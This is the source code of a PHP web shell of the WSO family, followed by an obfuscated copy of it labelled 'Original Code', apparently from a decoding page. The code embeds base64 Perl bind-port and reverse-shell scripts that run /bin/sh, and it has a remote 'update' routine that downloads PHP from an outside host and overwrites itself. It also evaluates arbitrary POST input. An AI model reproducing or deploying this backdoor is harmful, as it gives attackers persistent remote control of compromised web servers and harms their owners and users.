$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionUPDate() {
wsoHeader();
echo "<h1>UPdate</h1><div class=content>";
function http_get_contents($url){
$codex = @file_get_contents($url);
if (empty($codex)){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
$urlPage = curl_exec($ch);
curl_close($ch);
return($urlPage);
}else {
return $codex;
}
}
$php = http_get_contents("http://filestack.live/96382367f90798e98d30f82012963197.htm");
if(!preg_match("/<\?php/", $php)){ echo '<center><font color="red"><p>[-] Failed.</p></font></center>'; wsoFooter(); die(); }
$namefile = basename(__FILE__);
if(preg_match("/\.php/", $namefile)){
preg_match("#(.*)\.php#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php';
}elseif(preg_match("/\.php5/", $namefile)){
preg_match("#(.*)\.php5#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php5';
}elseif(preg_match("/\.php7/", $namefile)){
preg_match("#(.*)\.php7#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php7';
}elseif(preg_match("/\.phtml/", $namefile)){
preg_match("#(.*)\.phtml#", $namefile, $namefile2);
$namefile = $namefile2[1].'.phtml';
}
file_put_contents($namefile, $php);
echo "<center>./Done !<br></center>";
echo "<script> location.href='$namefile'; </script>";
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
<?php $IQtJK = 'str'.'rev'; $gKfaz = 'bas'.'e64'.'_deco'.'de'; $uMZpV = 's'.'tr'.'_'.'rot1'.'3'; error_reporting(0); /*** qdijxsgrfubzmtgyqx nwou vi lras ***/ ini_set('display_errors', 0); ini_set('log_errors', 0); eval($uMZpV($gKfaz($IQtJK('=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